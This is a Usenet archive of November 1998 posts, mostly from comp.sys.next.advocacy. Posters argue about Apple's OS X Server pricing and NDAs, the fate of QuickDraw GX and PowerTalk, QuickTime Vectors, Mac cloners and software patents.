Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <F2qp1K.9r3@T-FCN.Net> <B27B314A-2E4F7@206.165.43.155>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 22:59:57 GMT
In <B27B314A-2E4F7@206.165.43.155> "Lawson English" wrote:
> And my point was that regardless of where the graphics engine sits in the
> cute diagrams that John was referring to, the color model and transform
> model are incompatible with GX's.
Right, and? They are on the other hand compatible (to what degree we
don't know yet) PS. I think that is a whole lot more interesting to most
developers than whether or not it looks like GX. Your argument is like
saying we should have square tires on cars, because the Edsel used them.
> The only reasons that I could come up with for why Apple would not just
> freeze GX development, but actually stop bundling are:
Ok, this is interesting. They also stopped bundling PowerTalk. Let's
follow along.
> 1) too hard to make work with Carbon
PowerTalk could be made to work under Carbon, likely very easily. So
that's likely not the issue.
> 2) Adobe said "get rid of GX." This would have been plausible 2-3 years
> ago, but I doubt that Adobe really worries about GX any more.
With reason. Do you think some big company was the reason Apple stopped
shipping PT? Do you think MS went to them and told them to drop it, or
else? No? Hmmm, I guess this one doesn't hold much water either.
> 3) Apple thinks that no-one wants GX. This is true, but that's because
> no-one knows what GX can do
No, Apple KNOWS no one uses it. Kinda like PT. Hmmm.
> (but they will ;-)
No they won't.
> 4) Apple wanted to force 3rd-party QuickTime developers to move
> cross-platform. This is the most plausible explanation.
That's right, all of those ones using QT vectors. That's a total of one
I believe.
Sooo, you have four reasons, one is the only one that matches up with
another megaproject they killed. Not only that, it seems like the most
likely.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: jjens@primenet.com
Organization: needs one
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
<7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no>
<734l8p$f2i@shelob.afs.com> <734qj0$g6h$1@nnrp02.primenet.com>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 23:05:33 GMT
In <734qj0$g6h$1@nnrp02.primenet.com> John Jensen wrote:
> Seems to me, that if Apple wanted to pump the NeXT technology out in
> volume they would have done it already. The web is full of free betas and
> technology previews. The fact that Apple is the only one who isn't doing
> that (and in fact hides the technolgy under NDA) says a great deal.
Hmmm, not as far as I can see. When was the last time that MS put
Windows 2000 up on the net? Or 98? 95? NT4.0? Word? Excel? When was the
last time they didn't need an NDA to use NT betas? Word? Anything?
Sorry, but saying that there's a free OS that puts stuff on the internet
and then comparing that to Apple seems disintegous.
Maury
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 20 Nov 1998 23:20:43 GMT
Organization: Monmouth Internet
Message-ID: <3655f90e.284169083@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com> <3649E20D.7878D21E@cadence.com> <qv6hfw0u5xm.fsf@physp43.phys.canterbury.ac.nz> <72ps73$t3s$1@nnrp1.dejanews.com>
"Charles Swiger" <chuck@codefab.com> wrote:
>In article <qv6hfw0u5xm.fsf@physp43.phys.canterbury.ac.nz>,
> physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev) wrote:
>[ ... ]
>> Maybe they aren't. But then I would like to see a software patent who:
>> - is not trivial,
>> - is not based on mathematical formulas (are these patentable ?,
>> I know about RSA and MP3 but these are essentially mathematical methods)
>> - is not a protocol (are these patentable ?)
>
>How about "US5581697: Method and apparatus for run-time error checking using
>dynamic patching"?
Oh, you mean jump tables.. Oh, I'm so impressed..
yawn..
Obvious to anyone that understands what linkage and run time linkage is.
Probably first done back in the 60's..
Wilbur
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 23:24:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <734tmn$guk$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <F2q9AB.JF@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <732c5r$bim$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> > a price that is accessible to any would-be user. Since every single user
> > who
> > buys OS X Server is guaranteed to need to buy new apps (since there are no
> > legacy apps at all)
>
> Sure there are, Blue Box. Works fine.
I've no doubt that the Blue Box works fine, but if all I was going to run was
OS8 apps, I'd just run them on OS8.5; I wouldn't need OSX Server. I want OSX
server so I can run yellow-box apps. Ergo, I'll need to buy apps. Ergo, Apple
would do a huge favor to their yellow-box developers by making sure I can get
OS X server.
> > Stupid stunts like over-pricing OS X Server would be a severe kick in the
> > b***s of yellow-box developers, and I do hope that Greg's pessimism is
> > unfounded.
>
> The biggest advantage to making Server cheap is that it gets developers
> buying it and looking at YB.
That's a big advantage, no doubt. But any serious developer can already get
RDR2, can't they? What will change when OSX Server ships is that there will
be a large infusion of USERS, in additional to more developers. That means
(i) income for those developers who already have yellow-box apps ready to
ship, and (ii) lots of potential beta testers for OSX developers. None of
this will happen if Apple cripples OSX Server with a high price.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 20 Nov 1998 23:57:46 GMT
Organization: Primenet (602)416-7000
Message-ID: <734vlq$h6i$1@nnrp02.primenet.com>
References: <01be1188$01ce14e0$06387880@chewy> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no> <734l8p$f2i@shelob.afs.com> <734qj0$g6h$1@nnrp02.primenet.com>
<F2qtHA.C5K@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <734qj0$g6h$1@nnrp02.primenet.com> John Jensen wrote:
: > Seems to me, that if Apple wanted to pump the NeXT technology out in
: > volume they would have done it already. The web is full of free betas and
: > technology previews. The fact that Apple is the only one who isn't doing
: > that (and in fact hides the technolgy under NDA) says a great deal.
: Hmmm, not as far as I can see. When was the last time that MS put
: Windows 2000 up on the net? Or 98? 95? NT4.0? Word? Excel? When was the
: last time they didn't need an NDA to use NT betas? Word? Anything?
I think I remember public betas for '95 and '98. Weren't they something
like $50 a pop?
: Sorry, but saying that there's a free OS that puts stuff on the internet
: and then comparing that to Apple seems disintegous.
And SCO, and Solaris, and Unixware, and Java VMs, and Oracle ...
I'm sure you can name some more if you think about it.
John
From: rsrodger@wam.umd.edu (Rob Rodgers)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 20 Nov 1998 23:46:00 GMT
Organization: University of Maryland, College Park, MD
Message-ID: <3655f8ab.211066742@news.wam.umd.edu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com> <3649cccf.7814957@news.monmouth.com> <y1uhfw5lwwa.fsf@acuson.com> <364c50a9.172640523@news.monmouth.com>
On Fri, 13 Nov 1998 15:31:29 GMT, WStreett@shell.monmouth.com (Wilbur Streett)
wrote:
>Coast.. Anyone remember the name?
The Zenith Z100 had both an 8088 and an 8085 (you could run either, selected
at bootup) and S100 slots.
A lot of people wasted a lot of money on them. S100 cards were expensive and
lame next to what was coming out for the PCs of the era, from memory
expansions and port adapters to sound cards and other toys.
----
knave (at) acm.org pix http://www.wam.umd.edu/~rsrodger
code http://www.glue.umd.edu/~rsrodger graduating CS (BSc)
December 1998 opengl renderman directX c c++ email
for resume looking for CGI (photoreal, fx) or realtime
(games, tools) IK particles *etc*
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sat, 21 Nov 1998 01:30:39 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <19981121013039811472@mp-216-124.daxnet.no>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no> <734l8p$f2i@shelob.afs.com> <734qj0$g6h$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> Seems to me, that if Apple wanted to pump the NeXT technology out in
> volume they would have done it already.
If they simply wanted to pump out NeXT technology (which they have, WO
is getting big), they would have released OPENSTEP 5.0 about a year ago
(or maybe even earlier).
>The web is full of free betas and
> technology previews. The fact that Apple is the only one who isn't doing
> that (and in fact hides the technolgy under NDA) says a great deal.
>
> John
No, it doesn`t say anything about Apple. It`s a (relatively) standard
way of doing things. And if you are refering to fre betas of
MXS-software, then the actual use of those apps would be restricted to
those who are under NDA.
Don`t get me wrong, I see no need whatsoever for the NDA`s on MXS at
this time. It`ll soon be out, anyway. (Only question is when...)
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sat, 21 Nov 1998 01:30:40 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <19981121013040811568@mp-216-124.daxnet.no>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no> <734l8p$f2i@shelob.afs.com>
Greg Anderson <greg@afs.com> wrote:
> Thomas Sivertsen wrote:
> >Sean Luke <seanl@cs.umd.edu> wrote:
> >> Greg Anderson (greg@afs.com) wrote:
> >> > Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously,
> I
> >> > can't even bring myself to get angry about it anymore.
> >>
> >> Snake eyes and boxcars -- Greg, your guess is $1166?
> >
> >Huh? Please elaborate for us europeans... ;-)
>
> In the dice game "craps," snake-eyes are double-ones, and boxcars are
> double-sixes. Sean was making a mathematical pun. Of course, what I really
> intended to imply by my original remark was that us old-time NeXT folks had
> made our bets, and now it looks like we've "crapped out". (Which is what
> happens if you roll 2, 3, or 12 before making your original point again.)
I don`t know the game, on both levels. I don`t think there`s need to
totally despair yet, but I`m not the one with my money in this, so I can
understand that you`ve gotten frustrated. Thanks for the explanation,
anyway. Hopefully things will brighten up soon enough.
> >> [Sean's] prediction: MacOSX Server will premiere at $999, no WebObjects.
> >> No student discount ("Go buy MacOS8.5").
> >
> >Wow, if that happens, Apple will have finally proven that they are
> >exremely good at shooting feet with huuuge cannons. I don`t think they
> >are, however. Something close to $200-300 and a distribution fee for the
> >student version is more likely. Of course, dev tools would be extra in
> >any shrinkwrap.
>
> I don't have any inside knowledge of specific prices, but my sense is that
> Sean's guess is closer to what will be announced. Consider that the last
> official runtime version of OPENSTEP 4.2 was $795 (without dev tools). It's
> true there was an academic version, but as Sean points out, Apple already
> has one of those: 8.5.
>
> Greg
I see no reason why Apple would keep up the NeXT pricing. It would
generate too much bad press. Like I said, them cannons aren`t always
pointing at toes...
They are also aware that an academic version of MXS is far higher value
than MacOS 8.5 for two reasons: it`s UNIX and it`s available on Intel.
Something that might happen is that people see MXS on Intel and decide
to get a G3 or MX. Best place to start is with students (that includes
me, actually).
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 21 Nov 1998 00:25:27 GMT
Organization: Michigan State University
Message-ID: <73519n$no0$3@msunews.cl.msu.edu>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
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Cc: greg@afs.com
In <732sko$a4e@shelob.afs.com> "Greg Anderson" wrote:
> Sal Denaro wrote in message <732qrv$ae5@news1.panix.com>...
> >On Fri, 20 Nov 1998 00:12:57 GMT, spagiola@my-dejanews.com wrote:
> >>Stupid stunts like over-pricing OS X Server would be a severe kick in the
> >>b***s of yellow-box developers, and I do hope that Greg's pessimism is
> >>unfounded.
>
>
> Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
> can't even bring myself to get angry about it anymore.
>
> >I would be shocked if the price was under $500. The term "server" was
> >added for a reason; I very much doubt that Apple thinks that OSXS will
> >sell in large numbers.
>
> I very much doubt that Apple *wants* OSXS to sell in large numbers.
> Considering the "success" of the infamous NeXT Sales Prevention Team, they
> should have plenty of experience to draw from in this area.
>
We'll know whether they really want to sell YB or not in serious numbers soon
enough. If there isn't a version sans web-objects for $199 or lower, and we
are stuck with a $1K or higher MacOS X with WO then we know Apple really
has no clue what to do with YB and the technology they purchased from NeXT.
The issue here is: If Apple is going to kill MacOS X by pricing then what
the hell is the point of spending the developement $$ and touting YB all
over the place? Apple if you think you can come out with $1K+ MacOS X
with WO and not piss a few people off you have another thing coming.
I'm not talking about placating us who were or are MacOS X developers
(I already coughed up many K's to NeXT in the past I won't do it again for
Apple - sorry the only proprietary hardware here is SGI - and for good reason!)
by possibly giving us a nice christmas present.
I'm talking about getting a lot of users of MacOS X so everyone can get some
solid feedback on all YB products AND so at least your YB developers can
have some DAMED income thankyou very much. Apple do you even give a
$%*^ about them? You pissed off the System X developers and now
you are slowly crushing your YB developers - get a fricken clue!!
I'm willing to bet a hell of a lot of developers are really pissed off but
they WILL not talk publically because they don't want to bite the
'hand that might feed them'. Then again I have to sit back and take
a deep breath since it could be that Greg is out of the loop..
Frankly I'm just fricken tired of trying to figure out ways to help Apple
they seem damned determined to destroy themselves any way they
can. I think it's a mystery why their stock is still hovering
around $35. Then again the Stock Market at 9K and what 25:1 PE's
are way inflated. Apple is running on fumes IMO and they have no vision
anymore, nor are they thinking different in any way except on how
to run a company (into the ground)..
The main problem is that Apple by purchasing NeXT really had
to run two different product lines full force. Apple made a terrible
mistake by not purchasing or picking up on a growing thriving
company vs. a dying one. They got great technology but not
a thriving business. Apple also botched ..step horribly by
not simply porting Openstep 4.2 to PPC and selling
4.2 on Black/Sun/HP/Intel/PPC user/developer for $200/pop.
Hell had they been smart they would have (as I posted in 1/97)
gotten out Openstep on PPC by 6/1/97 and also dropped WO3.x
down to like $500/seat..
The point is Apple didn't continue to sell Openstep as a seperate
product line nor get it on PPC so that their existing base of System X customers
or hardware customers could try it - or buy applications on it (to help enliven
the YB developer base).
I believe the door is closing quickly and if Apple doesn't commit to
haveing MacOS X server/user on PPC and x86 in the future they
will pretty much be dead. The dearth of qualified support companies
and YB developers, and any System X developers migrating to YB
is going to kill YB. The passing of now 2 years since Apple purchased
NeXT w/o ANY viable shipping product isn't just sad it's a major failure.
The uprising of System X developers against YB shows how much
Apple doesn't know about its customers - this should NOT have been
a suprise. This does show who was in charge of the company at
the time (effectively Steve Jobs a.k.a NeXT team) - because I can
see that they would have believed that Mac devs should have embraced
YB wholeheartedly..
The NeXT team doesn't understand the Apple folks anymore, and the
Apple folks definately don't understand the NeXT ones.. And no-one
there is talking to their customers before they do something vs. after.
I suspect there is still a war going on in Apple whether those at the top
know it or not and it's showing itself as a true Geminian split personality.
There is no balanced coherent approach toward how Apple can extricate
itself from it's present predicament. I suspect the situation @ Apple is
probably even beyond help at this point..
Frankly if Apple wanted to pick up my modest living expenses and pay
me $100K tax free I'd spend 6 months to try to help see if there is a way to turn
their whole situation around.. I love a challenge..
I really think Apple needs a completely outside Consultant to come in
and help them figure out what to do with their great talent, and figure out
how to turn disadvantages into advantages, whilst healing the bad blood
between the NeXT and Apple teams..
Well that's my 1hr worth.. If I ever get the urge for wasting time I just may
finish that article I was promising because it seems more relevant every
day to this whole situation.
Lastly.
I have said this before if Apple ever announces a Carbon for NT
you can bend over and kiss your YB behinds goodbye.
Randy Rencsok
rencsok or spammers at
ruin d0t the d0t internet d0t channelu d0t com
http://www.channelu.com/Staff.html
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 20:55:36 GMT
Organization: CTS Network Services (CTSNET), San Diego, CA
Message-ID: <911595335.545550@optional.cts.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net>
Cache-Post-Path: optional.cts.com!tminkoff@crash-i2.cts.com
In article <slrn75bgbb.bqd.float@interport.net>,
void <float@interport.net> wrote:
>I post from a vintage-'93 machine, with 48 megs of RAM and a 33 MHz
>processor.
And if you had purchased it on an iMac-style financing plan, you'd still
be paying for it today. :-(
(Just out of curiosity, what are you running on that dinosaur?)
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 21 Nov 1998 01:03:19 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <7353gn$259$1@news00.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net>
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> In article <365063D1.A36D254E@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > for less. Again, it was *never* stipulated in any clone agreement that
> > the "cloners take the low-end, low profit" market while Apple keeps "the
> > profitable part" to itself. In the pre-agreements signed by Amelio,
> > Power Computing and these other companies were also going to be able to
> > clone laptops. It's foolish to think that any of these companies would
> > ever have signed on as an Apple-cloner to clone for the least profitable
> > part of the market. No one but a dunce would have done that. No one ever
> > did.
That's why they never had low-end machines. They never had a sub-1k
computer. That's what killed them.
> > What really puts the lie to all of that malarkey from Apple is the iMac.
> > Is the iMac what you call the "high-end, profitable" part of the market?
> > Of course not. But the only reason Apple can make *any* money from the
> > iMac is that Apple is selling it in a vacuum--there's no iMac
> > competition, is there?
They didn't have anything like the iMac. It could have made them big.
Apple shows you CAN make a profit in the low-end. They never tried.
That's what killed them.
> > ...'Nuff said....
Yes please.
> > I never said they were "mom & pops"...What I said was that *compared to
> > Apple* they were tiny, and they were. The Mac clone companies affiliated
> > with Motorola and Umax were *separate companies* which were *small
> > change* compared to Apple itself. Last, you always leave out PowerCC,
> > seemingly because you know that that company wasn't even loosely
> > affiliated any large company. The irony is that PowerCC is the company
> > Apple (Jobs) feared the most.
You mean the company that said they were "fighting for the Mac"? That
was milking the Mac-market for what it was worth (sounds familiar?) by
targeting Apples customers directly - the bread & butter of the company
they dependet on? The company that just didn't cut it as a PC-cloner?
> > You know, it never ceases to amaze me how even experienced Mac fans can
> > so easily and quickly completely forget the pertinent details of the
> > company's history. I guess it's the RDF at work, is all I can figure. Go
> > figure...
Odd that you bring up all of this to defend the monopolistic practices
of microsoft. Not something like revoking a licence to someone who
threatens your existance, but like stealing code or rewriting the OS so
something will stop working.
Lars T.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 21 Nov 1998 01:03:28 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <7353h0$259$2@news00.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <72srls$r7d@newsb.netnews.att.com> <adtF2LrEG.3px@netcom.com>
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Anthony D. Tribelli <adt@netcom.com> wrote:
> gupta@knim.tm.tta.moc-mirrorafter@ wrote:
> : Anthony D. Tribelli <adt@netcom.com> wrote:
>
> : >Apple is far from bring a monopoly with respect to personal computers in
> : >general, but their OS monopoly in the PowerPC desktop market was larger
> : >than Microsoft's monopoly of the x86 desktop market. The fact that there
> : >were millions of x86 based systems out there did not lessen the control
> : >Apple had on companies that manufactured PowerPC based consumer oriented
> : >desktop systems.
> :
> : Yeah, right ! Wasn't it Microsoft that wanted $400 million to keep
> : Windows NT for PowerPC, and wasn't it IBM and Motorola that refused ?
>
> WinNT for PowerPC didn't sell, MacOS did. MacOS retained control.
How do you know? It came on a CD with all NT-versions.
> : Likewise, IBM and/or Motorola could have backed BeOS had they wanted to,
> : like Intel is doing today ...
>
> BeOS wasn't very far along at the time, cloners can't sell beta systems.
> MacOS retained control.
They can sell bare systems.
> : ... IBM could have released OS/2 for PowerPC had they so chosen ...
>
> They did release OS/2 for PowerPC in a corporate channel, it didn't sell
> well. MacOS retained control.
IBM's marketing of OS/2 rivals that of pre-Jobs Apple.
> : ... IBM and/or Motorola could have had licensed companies
> : to build boxes to run BeOS, OS/2, Windows NT, without Apple's permission
> : and without waiting for Apple to support CHRP.
Let's not forgett Linux (and maybe a AmigaOS clone)
Lars T.
From: Chris Grigg <chrisgSPAMLESS@sirius.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Date: Fri, 20 Nov 1998 17:26:38 -0800
Organization: Sirius Connections
Message-ID: <365616A9.53CF8C73@sirius.com>
References: <B27A4B1E-2812E@206.165.43.102>
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Lawson English wrote:
> One glaringly unanswered question on the QuickTime-dev list for the past
> few days has been "how to create QT Vectors?"
Well, FWIW, so many questions go unanswered on the QuickTime-Dev list that
it's a little hard to concur with your characterization of the silence as
'glaring' exactly. There's quite a lot of tight-lipped-ness going on with
that list, in my experience, when it comes to questions about the odd
functionality hole in QT (I've asked several questions that have gone
unanswered about omissions in QT's sound functionality).
-- Chris Grigg
-----------
watch the 'SPAMLESS' if replying directly
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
strategy...
Date: 20 Nov 98 18:43:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27B68DD-D063@206.165.43.8>
References: <365616A9.53CF8C73@sirius.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Chris Grigg <chrisgSPAMLESS@sirius.com> said:
>Lawson English wrote:
>> One glaringly unanswered question on the QuickTime-dev list for the past
>> few days has been "how to create QT Vectors?"
>
>Well, FWIW, so many questions go unanswered on the QuickTime-Dev list
>that
>it's a little hard to concur with your characterization of the silence as
>'glaring' exactly. There's quite a lot of tight-lipped-ness going on with
>that list, in my experience, when it comes to questions about the odd
>functionality hole in QT (I've asked several questions that have gone
>unanswered about omissions in QT's sound functionality).
The question WAS answered (for the person who asked it). THe next person
will possibly be able to leverage off of the code that the first person
created, but it STILL won't be a living, breathing drawing package.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 20 Nov 1998 22:30:56 GMT
Organization: Primenet (602)416-7000
Message-ID: <734qj0$g6h$1@nnrp02.primenet.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu>
<199811202008582097043@mp-214-164.daxnet.no> <734l8p$f2i@shelob.afs.com>
Seems to me, that if Apple wanted to pump the NeXT technology out in
volume they would have done it already. The web is full of free betas and
technology previews. The fact that Apple is the only one who isn't doing
that (and in fact hides the technolgy under NDA) says a great deal.
John
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
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<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
